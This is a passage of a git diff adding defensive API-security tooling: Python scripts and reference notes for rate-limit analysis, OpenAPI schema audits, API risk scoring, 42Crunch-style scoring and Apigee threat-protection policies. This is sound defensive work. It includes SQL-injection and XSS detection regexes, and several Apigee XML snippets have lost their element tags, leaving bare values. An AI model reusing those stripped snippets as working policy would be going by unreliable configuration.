+ "ip": ip, "total_requests": total, "rate_limited": 0, + "issue": "high_volume_not_rate_limited", "severity": "HIGH", + }) + elif rate_limited > 0 and rate_limited < total * 0.1: + findings.append({ + "ip": ip, "total_requests": total, "rate_limited": rate_limited, + "issue": "rate_limit_too_permissive", "severity": "MEDIUM", + }) + return findings + + +def simulate_rate_limit_test(algorithm="token_bucket", requests_count=200, rate=10): + """Simulate rate limiting to test configuration.""" + if algorithm == "token_bucket": + limiter = TokenBucket(max_tokens=rate, refill_rate=rate / 60.0) + else: + limiter = SlidingWindow(window_seconds=60, max_requests=rate) + allowed = 0 + denied = 0 + for i in range(requests_count): + ok, _ = limiter.allow("test_client") + if ok: + allowed += 1 + else: + denied += 1 + return { + "algorithm": algorithm, "total_requests": requests_count, + "allowed": allowed, "denied": denied, + "effective_rate": round(allowed / requests_count * 100, 1), + } + + +def generate_rate_limit_recommendations(log_path): + """Generate rate limit recommendations from traffic patterns.""" + ip_rpm = defaultdict(int) + endpoint_rpm = defaultdict(int) + with open(log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + ip = entry.get("client_ip", "") + endpoint = entry.get("path", "") + ip_rpm[ip] += 1 + endpoint_rpm[endpoint] += 1 + ip_values = sorted(ip_rpm.values()) + p95 = ip_values[int(len(ip_values) * 0.95)] if ip_values else 100 + p99 = ip_values[int(len(ip_values) * 0.99)] if ip_values else 200 + return { + "global_rate_limit": p99 * 2, + "per_ip_limit": p95 * 2, + "auth_endpoint_limit": max(10, p95 // 10), + "p95_requests_per_ip": p95, + "p99_requests_per_ip": p99, + } + + +def main(): + parser = argparse.ArgumentParser(description="API Rate Limiting Agent") + parser.add_argument("--action", choices=[ + "analyze", "simulate", "recommend", "full" + ], default="full") + parser.add_argument("--log", help="API access log (JSON lines)") + parser.add_argument("--algorithm", choices=["token_bucket", "sliding_window"], + default="token_bucket") + parser.add_argument("--output", default="rate_limiting_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("analyze", "full") and args.log: + f = analyze_rate_limit_effectiveness(args.log) + report["findings"]["effectiveness"] = f + print(f"[+] Rate limit issues: {len(f)}") + + if args.action in ("simulate", "full"): + result = simulate_rate_limit_test(args.algorithm) + report["findings"]["simulation"] = result + print(f"[+] Simulation: {result['allowed']}/{result['total_requests']} allowed") + + if args.action in ("recommend", "full") and args.log: + recs = generate_rate_limit_recommendations(args.log) + report["findings"]["recommendations"] = recs + print(f"[+] Recommended per-IP limit: {recs['per_ip_limit']}") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-api-schema-validation-security/LICENSE b/skills/implementing-api-schema-validation-security/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-api-schema-validation-security/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-api-schema-validation-security/references/api-reference.md b/skills/implementing-api-schema-validation-security/references/api-reference.md new file mode 100644 index 00000000..bec7d5d6 --- /dev/null +++ b/skills/implementing-api-schema-validation-security/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Implementing API Schema Validation Security + +## jsonschema (Python) + +```python +import jsonschema +schema = { + "type": "object", + "properties": { + "name": {"type": "string", "maxLength": 100}, + "email": {"type": "string", "format": "email"}, + }, + "required": ["name", "email"], + "additionalProperties": False, # Prevent mass assignment +} +jsonschema.validate(instance=payload, schema=schema) +``` + +## OpenAPI Security Checks + +| Check | Risk | Severity | +|-------|------|----------| +| No request body schema | Injection | HIGH | +| additionalProperties: true | Mass assignment | MEDIUM | +| String without maxLength | Buffer overflow | MEDIUM | +| No response schema | Data exposure | MEDIUM | +| No security scheme | Broken auth | CRITICAL | +| Security explicitly disabled | Unauthenticated access | CRITICAL | + +## OpenAPI Schema Best Practices + +```yaml +components: + schemas: + User: + type: object + additionalProperties: false + properties: + name: + type: string + maxLength: 100 + pattern: "^[a-zA-Z ]+$" + email: + type: string + format: email + maxLength: 255 + required: [name, email] +``` + +## Spectral (OpenAPI Linter) + +```bash +spectral lint openapi.yaml --ruleset .spectral.yaml +# Custom security rules in .spectral.yaml +``` + +### References + +- jsonschema: https://python-jsonschema.readthedocs.io/ +- OpenAPI 3.0: https://spec.openapis.org/oas/v3.0.3 +- Spectral: https://stoplight.io/open-source/spectral diff --git a/skills/implementing-api-schema-validation-security/scripts/agent.py b/skills/implementing-api-schema-validation-security/scripts/agent.py new file mode 100644 index 00000000..0e923f5a --- /dev/null +++ b/skills/implementing-api-schema-validation-security/scripts/agent.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python3 +"""Agent for auditing API schema validation security using OpenAPI specs.""" + +import json +import argparse +import re +from datetime import datetime +from pathlib import Path + +try: + import yaml +except ImportError: + yaml = None + +try: + import jsonschema +except ImportError: + jsonschema = None + + +def load_openapi_spec(spec_path): + """Load an OpenAPI specification file.""" + with open(spec_path) as f: + if spec_path.endswith((".yaml", ".yml")): + return yaml.safe_load(f) + return json.load(f) + + +def audit_schema_validation(spec): + """Audit OpenAPI spec for missing schema validation.""" + findings = [] + paths = spec.get("paths", {}) + for path, methods in paths.items(): + for method, details in methods.items(): + if method in ("get", "post", "put", "patch", "delete"): + request_body = details.get("requestBody", {}) + if method in ("post", "put", "patch") and not request_body: + findings.append({ + "path": path, "method": method.upper(), + "issue": "no_request_body_schema", "severity": "HIGH", + }) + elif request_body: + content = request_body.get("content", {}) + for media, media_def in content.items(): + schema = media_def.get("schema", {}) + if not schema: + findings.append({ + "path": path, "method": method.upper(), + "issue": "empty_request_schema", "severity": "HIGH", + }) + elif schema.get("additionalProperties") is not False: + findings.append({ + "path": path, "method": method.upper(), + "issue": "additional_properties_allowed", + "severity": "MEDIUM", + "risk": "mass_assignment", + }) + params = details.get("parameters", []) + for param in params: + if not param.get("schema"): + findings.append({ + "path": path, "method": method.upper(), + "parameter": param.get("name"), + "issue": "parameter_no_schema", "severity": "MEDIUM", + }) + elif param.get("schema", {}).get("type") == "string": + schema = param["schema"] + if not schema.get("maxLength") and not schema.get("pattern"): + findings.append({ + "path": path, "method": method.upper(), + "parameter": param.get("name"), + "issue": "string_no_max_length", "severity": "MEDIUM", + "risk": "injection", + }) + responses = details.get("responses", {}) + for code, resp in responses.items(): + content = resp.get("content", {}) + for media, media_def in content.items(): + schema = media_def.get("schema", {}) + if not schema: + findings.append({ + "path": path, "method": method.upper(), + "response_code": code, + "issue": "no_response_schema", "severity": "MEDIUM", + "risk": "data_exposure", + }) + return findings + + +def check_security_definitions(spec): + """Check security scheme definitions in OpenAPI spec.""" + findings = [] + version = spec.get("openapi", spec.get("swagger", "")) + if version.startswith("3"): + security_schemes = spec.get("components", {}).get("securitySchemes", {}) + else: + security_schemes = spec.get("securityDefinitions", {}) + if not security_schemes: + findings.append({"issue": "no_security_schemes_defined", "severity": "CRITICAL"}) + global_security = spec.get("security", []) + if not global_security: + findings.append({"issue": "no_global_security", "severity": "HIGH"}) + paths = spec.get("paths", {}) + for path, methods in paths.items(): + for method, details in methods.items(): + if method in ("get", "post", "put", "patch", "delete"): + op_security = details.get("security") + if op_security == []: + findings.append({ + "path": path, "method": method.upper(), + "issue": "security_explicitly_disabled", "severity": "CRITICAL", + }) + return findings + + +def validate_request_payload(schema_path, payload_path): + """Validate a request payload against a JSON schema.""" + if jsonschema is None: + return {"error": "jsonschema not installed"} + with open(schema_path) as f: + schema = json.load(f) + with open(payload_path) as f: + payload = json.load(f) + errors = [] + v = jsonschema.Draft7Validator(schema) + for error in v.iter_errors(payload): + errors.append({ + "path": list(error.path), + "message": error.message, + "schema_path": list(error.schema_path), + }) + return {"valid": len(errors) == 0, "errors": errors} + + +def main(): + parser = argparse.ArgumentParser(description="API Schema Validation Security Agent") + parser.add_argument("--spec", help="OpenAPI spec file (JSON/YAML)") + parser.add_argument("--schema", help="JSON Schema for validation") + parser.add_argument("--payload", help="Request payload to validate") + parser.add_argument("--output", default="schema_validation_report.json") + parser.add_argument("--action", choices=["audit", "security", "validate", "full"], + default="full") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.spec: + spec = load_openapi_spec(args.spec) + if args.action in ("audit", "full"): + f = audit_schema_validation(spec) + report["findings"]["schema_audit"] = f + print(f"[+] Schema validation issues: {len(f)}") + if args.action in ("security", "full"): + f = check_security_definitions(spec) + report["findings"]["security_schemes"] = f + print(f"[+] Security definition issues: {len(f)}") + + if args.action == "validate" and args.schema and args.payload: + result = validate_request_payload(args.schema, args.payload) + report["findings"]["validation"] = result + print(f"[+] Validation: {'PASS' if result.get('valid') else 'FAIL'}") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-api-security-posture-management/LICENSE b/skills/implementing-api-security-posture-management/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-api-security-posture-management/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-api-security-posture-management/references/api-reference.md b/skills/implementing-api-security-posture-management/references/api-reference.md new file mode 100644 index 00000000..00cae936 --- /dev/null +++ b/skills/implementing-api-security-posture-management/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Implementing API Security Posture Management + +## API Discovery from Traffic + +```python +import re +# Normalize paths: /users/123 -> /users/{id} +normalized = re.sub(r"/\d+", "/{id}", path) +normalized = re.sub(r"/[0-9a-f-]{8,}", "/{id}", normalized) +``` + +## API Sensitivity Classification + +| Category | Patterns | Sensitivity | +|----------|----------|-------------| +| PII | `/users`, `/profile`, `/account` | HIGH | +| Financial | `/payments`, `/billing` | HIGH | +| Auth | `/login`, `/token`, `/oauth` | HIGH | +| Admin | `/admin`, `/config` | HIGH | +| Health | `/health`, `/status` | LOW | + +## Risk Scoring Model + +| Factor | Points | Description | +|--------|--------|-------------| +| High sensitivity data | +30 | PII, financial, auth | +| High error rate (>10%) | +20 | Possible abuse | +| State-changing methods | +10 | PUT, DELETE, PATCH | +| High consumer count | +10 | Large attack surface | +| Auth endpoint | +15 | Credential target | + +## 42Crunch API Audit + +```bash +# CI/CD integration +curl -X POST https://platform.42crunch.com/api/v1/apis \ + -H "X-API-KEY: $API_KEY" \ + -F "file=@openapi.yaml" +``` + +## Salt Security API + +```python +import requests +headers = {"Authorization": "Bearer "} +# Discover shadow APIs +resp = requests.get("https://api.salt.security/v1/apis", headers=headers) +``` + +### References + +- OWASP API Security Top 10: https://owasp.org/API-Security/ +- 42Crunch: https://42crunch.com/ +- Salt Security: https://salt.security/ diff --git a/skills/implementing-api-security-posture-management/scripts/agent.py b/skills/implementing-api-security-posture-management/scripts/agent.py new file mode 100644 index 00000000..48dc45b9 --- /dev/null +++ b/skills/implementing-api-security-posture-management/scripts/agent.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python3 +"""Agent for API Security Posture Management - discovery, classification, and risk scoring.""" + +import json +import argparse +import re +from datetime import datetime +from collections import Counter, defaultdict +from pathlib import Path + + +def discover_apis_from_traffic(log_path): + """Discover APIs from network traffic logs.""" + apis = defaultdict(lambda: {"methods": set(), "consumers": set(), "count": 0, + "status_codes": Counter()}) + with open(log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + path = entry.get("path", entry.get("endpoint", "")) + method = entry.get("method", entry.get("http_method", "")) + ip = entry.get("client_ip", "") + status = entry.get("status_code", entry.get("status", 200)) + normalized = re.sub(r"/[0-9a-f-]{8,}", "/{id}", path) + normalized = re.sub(r"/\d+", "/{id}", normalized) + apis[normalized]["methods"].add(method) + apis[normalized]["consumers"].add(ip) + apis[normalized]["count"] += 1 + apis[normalized]["status_codes"][int(status)] += 1 + result = [] + for path, info in sorted(apis.items(), key=lambda x: -x[1]["count"]): + result.append({ + "path": path, + "methods": sorted(info["methods"]), + "unique_consumers": len(info["consumers"]), + "total_requests": info["count"], + "error_rate": round( + sum(v for k, v in info["status_codes"].items() if k >= 400) / info["count"], 3), + }) + return result + + +def classify_api_sensitivity(apis): + """Classify APIs by data sensitivity level.""" + sensitive_patterns = { + "PII": [r"/users?(/|$)", r"/customers?(/|$)", r"/profile", r"/account"], + "Financial": [r"/payments?", r"/billing", r"/invoices?", r"/transactions?"], + "Auth": [r"/auth", r"/login", r"/token", r"/oauth", r"/password"], + "Admin": [r"/admin", r"/management", r"/config", r"/settings"], + "Health": [r"/health", r"/status", r"/metrics", r"/ping"], + } + classified = [] + for api in apis: + path = api["path"] + categories = [] + for category, patterns in sensitive_patterns.items(): + if any(re.search(p, path, re.IGNORECASE) for p in patterns): + categories.append(category) + sensitivity = "HIGH" if any(c in categories for c in ["PII", "Financial", "Auth", "Admin"]) \ + else "LOW" if "Health" in categories else "MEDIUM" + classified.append({**api, "categories": categories, "sensitivity": sensitivity}) + return classified + + +def score_api_risk(apis): + """Calculate risk score for each API endpoint.""" + scored = [] + for api in apis: + risk_score = 0 + factors = [] + if api.get("sensitivity") == "HIGH": + risk_score += 30 + factors.append("high_sensitivity_data") + if api.get("error_rate", 0) > 0.1: + risk_score += 20 + factors.append("high_error_rate") + if api.get("unique_consumers", 0) > 100: + risk_score += 10 + factors.append("high_consumer_count") + if "Auth" in api.get("categories", []): + risk_score += 15 + factors.append("authentication_endpoint") + methods = api.get("methods", []) + if any(m in methods for m in ["DELETE", "PUT", "PATCH"]): + risk_score += 10 + factors.append("state_changing_methods") + severity = "CRITICAL" if risk_score >= 50 else "HIGH" if risk_score >= 30 else "MEDIUM" + scored.append({**api, "risk_score": risk_score, "risk_factors": factors, + "risk_level": severity}) + return sorted(scored, key=lambda x: x["risk_score"], reverse=True) + + +def check_api_security_controls(apis, spec_path=None): + """Check security controls for discovered APIs.""" + findings = [] + spec_paths = set() + if spec_path: + try: + import yaml + with open(spec_path) as f: + spec = yaml.safe_load(f) if spec_path.endswith((".yaml", ".yml")) else json.load(f) + spec_paths = set(spec.get("paths", {}).keys()) + except Exception: + pass + for api in apis: + if spec_paths and api["path"] not in spec_paths: + findings.append({ + "path": api["path"], "issue": "undocumented_api", + "severity": "HIGH", "recommendation": "Add to OpenAPI spec or deprecate", + }) + if api.get("sensitivity") == "HIGH" and api.get("error_rate", 0) > 0.05: + findings.append({ + "path": api["path"], "issue": "sensitive_endpoint_high_errors", + "severity": "HIGH", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="API Security Posture Management Agent") + parser.add_argument("--log", help="API traffic log (JSON lines)") + parser.add_argument("--spec", help="OpenAPI spec for comparison") + parser.add_argument("--output", default="api_posture_report.json") + parser.add_argument("--action", choices=["discover", "classify", "score", "audit", "full"], + default="full") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.log: + apis = discover_apis_from_traffic(args.log) + report["findings"]["discovered_apis"] = len(apis) + print(f"[+] Discovered {len(apis)} API endpoints") + + if args.action in ("classify", "full"): + apis = classify_api_sensitivity(apis) + if args.action in ("score", "full"): + apis = score_api_risk(apis) + report["findings"]["api_inventory"] = apis[:200] + + if args.action in ("audit", "full"): + f = check_api_security_controls(apis, args.spec) + report["findings"]["security_gaps"] = f + print(f"[+] Security gaps: {len(f)}") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-api-security-testing-with-42crunch/LICENSE b/skills/implementing-api-security-testing-with-42crunch/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-api-security-testing-with-42crunch/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-api-security-testing-with-42crunch/references/api-reference.md b/skills/implementing-api-security-testing-with-42crunch/references/api-reference.md new file mode 100644 index 00000000..0eff9707 --- /dev/null +++ b/skills/implementing-api-security-testing-with-42crunch/references/api-reference.md @@ -0,0 +1,52 @@ +# API Reference: Implementing API Security Testing with 42Crunch + +## 42Crunch API Security Audit + +```bash +# Upload OpenAPI spec for audit +curl -X POST https://platform.42crunch.com/api/v2/apis \ + -H "X-API-KEY: $CRUNCH_KEY" \ + -F "specfile=@openapi.yaml" + +# Get audit report +curl https://platform.42crunch.com/api/v2/apis/{api_id}/assessmentreport \ + -H "X-API-KEY: $CRUNCH_KEY" +``` + +## OWASP API Security Top 10 (2023) + +| ID | Risk | Audit Check | +|----|------|-------------| +| API1 | Broken Object Level Auth | BOLA path patterns | +| API2 | Broken Authentication | Security schemes | +| API3 | Broken Object Property Auth | Mass assignment | +| API4 | Unrestricted Resource Consumption | Rate limits | +| API5 | Broken Function Level Auth | Admin endpoints | +| API8 | Security Misconfiguration | HTTP, CORS, headers | + +## Security Score Deductions + +| Issue | Deduction | Severity | +|-------|-----------|----------| +| No security schemes | -30 | CRITICAL | +| Security disabled on endpoint | -25 | CRITICAL | +| No global security | -20 | HIGH | +| HTTP server URL | -15 | HIGH | +| No input schema | -15 | HIGH | +| Mass assignment risk | -10 | MEDIUM | +| Unbounded string param | -5 | MEDIUM | + +## CI/CD Integration (GitHub Actions) + +```yaml +- uses: 42Crunch/api-security-audit-action@v3 + with: + api-token: ${{ secrets.CRUNCH_TOKEN }} + min-score: 70 +``` + +### References + +- 42Crunch Platform: https://42crunch.com/ +- OWASP API Top 10: https://owasp.org/API-Security/ +- 42Crunch GitHub Action: https://github.com/42Crunch/api-security-audit-action diff --git a/skills/implementing-api-security-testing-with-42crunch/scripts/agent.py b/skills/implementing-api-security-testing-with-42crunch/scripts/agent.py new file mode 100644 index 00000000..bedefe94 --- /dev/null +++ b/skills/implementing-api-security-testing-with-42crunch/scripts/agent.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 +"""Agent for API security testing using 42Crunch audit methodology.""" + +import json +import argparse +import re +from datetime import datetime +from pathlib import Path + +try: + import yaml +except ImportError: + yaml = None + + +OWASP_API_CHECKS = { + "API1:2023": {"name": "Broken Object Level Authorization", "check": "bola"}, + "API2:2023": {"name": "Broken Authentication", "check": "auth"}, + "API3:2023": {"name": "Broken Object Property Level Authorization", "check": "bopla"}, + "API4:2023": {"name": "Unrestricted Resource Consumption", "check": "resource"}, + "API5:2023": {"name": "Broken Function Level Authorization", "check": "bfla"}, + "API6:2023": {"name": "Unrestricted Access to Sensitive Business Flows", "check": "flow"}, + "API7:2023": {"name": "Server-Side Request Forgery", "check": "ssrf"}, + "API8:2023": {"name": "Security Misconfiguration", "check": "config"}, + "API9:2023": {"name": "Improper Inventory Management", "check": "inventory"}, + "API10:2023": {"name": "Unsafe Consumption of APIs", "check": "consumption"}, +} + + +def load_spec(spec_path): + """Load OpenAPI spec.""" + with open(spec_path) as f: + if spec_path.endswith((".yaml", ".yml")): + return yaml.safe_load(f) + return json.load(f) + + +def audit_spec_security(spec): + """Perform static security audit of OpenAPI specification.""" + findings = [] + security_schemes = spec.get("components", {}).get("securitySchemes", {}) + global_security = spec.get("security", []) + if not security_schemes: + findings.append({ + "owasp": "API2:2023", "issue": "no_security_schemes", + "severity": "CRITICAL", "score_deduction": 30, + }) + if not global_security: + findings.append({ + "owasp": "API8:2023", "issue": "no_global_security", + "severity": "HIGH", "score_deduction": 20, + }) + paths = spec.get("paths", {}) + for path, methods in paths.items(): + for method, details in methods.items(): + if method not in ("get", "post", "put", "patch", "delete"): + continue + if details.get("security") == []: + findings.append({ + "path": path, "method": method.upper(), + "owasp": "API2:2023", "issue": "security_disabled", + "severity": "CRITICAL", "score_deduction": 25, + }) + if method in ("post", "put", "patch"): + body = details.get("requestBody", {}) + content = body.get("content", {}) + for media, media_def in content.items(): + schema = media_def.get("schema", {}) + if not schema: + findings.append({ + "path": path, "method": method.upper(), + "owasp": "API3:2023", "issue": "no_input_schema", + "severity": "HIGH", "score_deduction": 15, + }) + if schema.get("additionalProperties") is not False: + findings.append({ + "path": path, "method": method.upper(), + "owasp": "API3:2023", "issue": "mass_assignment_risk", + "severity": "MEDIUM", "score_deduction": 10, + }) + for param in details.get("parameters", []): + p_schema = param.get("schema", {}) + if p_schema.get("type") == "string" and not p_schema.get("maxLength"): + findings.append({ + "path": path, "method": method.upper(), + "parameter": param.get("name"), + "owasp": "API4:2023", "issue": "unbounded_string", + "severity": "MEDIUM", "score_deduction": 5, + }) + responses = details.get("responses", {}) + if "429" not in responses: + findings.append({ + "path": path, "method": method.upper(), + "owasp": "API4:2023", "issue": "no_429_response", + "severity": "MEDIUM", "score_deduction": 5, + }) + servers = spec.get("servers", []) + for server in servers: + url = server.get("url", "") + if url.startswith("http://"): + findings.append({ + "server": url, "owasp": "API8:2023", + "issue": "http_not_https", "severity": "HIGH", "score_deduction": 15, + }) + return findings + + +def calculate_security_score(findings): + """Calculate security score (0-100) based on findings.""" + total_deduction = sum(f.get("score_deduction", 0) for f in findings) + score = max(0, 100 - total_deduction) + if score >= 80: + grade = "A" + elif score >= 60: + grade = "B" + elif score >= 40: + grade = "C" + else: + grade = "F" + return {"score": score, "grade": grade, "total_findings": len(findings)} + + +def main(): + parser = argparse.ArgumentParser(description="42Crunch-Style API Security Testing Agent") + parser.add_argument("--spec", required=True, help="OpenAPI spec file") + parser.add_argument("--output", default="api_security_test_report.json") + args = parser.parse_args() + + spec = load_spec(args.spec) + report = {"generated_at": datetime.utcnow().isoformat()} + + findings = audit_spec_security(spec) + score = calculate_security_score(findings) + report["security_score"] = score + report["findings"] = findings + report["owasp_coverage"] = {k: v["name"] for k, v in OWASP_API_CHECKS.items()} + + print(f"[+] Security Score: {score['score']}/100 (Grade: {score['grade']})") + print(f"[+] Findings: {len(findings)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-api-threat-protection-with-apigee/LICENSE b/skills/implementing-api-threat-protection-with-apigee/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-api-threat-protection-with-apigee/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-api-threat-protection-with-apigee/references/api-reference.md b/skills/implementing-api-threat-protection-with-apigee/references/api-reference.md new file mode 100644 index 00000000..ce5cc88a --- /dev/null +++ b/skills/implementing-api-threat-protection-with-apigee/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Implementing API Threat Protection with Apigee + +## JSONThreatProtection Policy + +```xml + + 25 + 100 + 5 + 500 + request + +``` + +## SpikeArrest Policy + +```xml + + 30ps + + +``` + +## RegularExpressionProtection + +```xml + + request + + [\s]*((delete)|(exec)|(drop\s*table)) + + +``` + +## Apigee Management API + +```bash +# Deploy proxy revision +curl -X POST "https://apigee.googleapis.com/v1/organizations/{org}/environments/{env}/apis/{api}/revisions/{rev}/deployments" \ + -H "Authorization: Bearer $(gcloud auth print-access-token)" + +# List deployed proxies +curl "https://apigee.googleapis.com/v1/organizations/{org}/apis" \ + -H "Authorization: Bearer $(gcloud auth print-access-token)" +``` + +## Recommended Policy Limits + +| Setting | Recommended | Description | +|---------|-------------|-------------| +| ContainerDepth | 5 | JSON nesting depth | +| StringValueLength | 500 | Max string value | +| ObjectEntryCount | 25 | Max object keys | +| SpikeArrest Rate | 30ps | Requests per second | + +### References + +- Apigee Policies: https://cloud.google.com/apigee/docs/api-platform/reference/policies +- Apigee Security: https://cloud.google.com/apigee/docs/api-platform/security diff --git a/skills/implementing-api-threat-protection-with-apigee/scripts/agent.py b/skills/implementing-api-threat-protection-with-apigee/scripts/agent.py new file mode 100644 index 00000000..b8ddae5a --- /dev/null +++ b/skills/implementing-api-threat-protection-with-apigee/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Agent for implementing API threat protection policies with Google Apigee.""" + +import json +import argparse +import re +from datetime import datetime +from pathlib import Path + + +APIGEE_POLICIES = { + "JSONThreatProtection": { + "max_depth": 5, "max_string_length": 500, + "max_entries": 25, "max_array_elements": 100, + }, + "XMLThreatProtection": { + "max_depth": 5, "max_attributes": 10, + "max_element_name_length": 128, "max_text_length": 500, + }, + "RegularExpressionProtection": { + "patterns": [ + r"[\s]*((delete)|(exec)|(drop\s*table)|(insert)|(shutdown)|(update)|(or))", + r"<\s*script\b[^>]*>[^<]+<\s*/\s*script\s*>", + r"(\%27)|(\')|(\-\-)|(\%23)|(#)", + ] + }, + "SpikeArrest": { + "rate": "30ps", "identifier": "request.header.x-api-key", + }, +} + + +def generate_json_threat_policy(config=None): + """Generate Apigee JSONThreatProtection policy XML.""" + cfg = config or APIGEE_POLICIES["JSONThreatProtection"] + return f""" + + JSON Threat Protection + {cfg['max_entries']} + {cfg['max_array_elements']} + {cfg['max_depth']} + {cfg['max_string_length']} + request +""" + + +def generate_spike_arrest_policy(rate="30ps"): + """Generate Apigee SpikeArrest policy XML.""" + return f""" + + Spike Arrest + {rate} + + true +""" + + +def generate_regex_protection_policy(): + """Generate RegularExpressionProtection policy for SQL/XSS.""" + return """ + + SQL Injection and XSS Protection + request + + [\s]*((delete)|(exec)|(drop\s*table)|(insert)|(shutdown)|(update)) + <\\s*script\\b[^>]*> + + + $.* + [\s]*((delete)|(exec)|(drop\s*table)|(insert)|(shutdown)|(update)) + +""" + + +def analyze_apigee_proxy_bundle(bundle_path): + """Analyze an Apigee proxy bundle for security policy gaps.""" + findings = [] + bundle = Path(bundle_path) + policies_dir = bundle / "apiproxy" / "policies" + if not policies_dir.exists(): + return [{"issue": "no_policies_directory", "severity": "CRITICAL"}] + policy_files = list(policies_dir.glob("*.xml")) + policy_names = [p.stem for p in 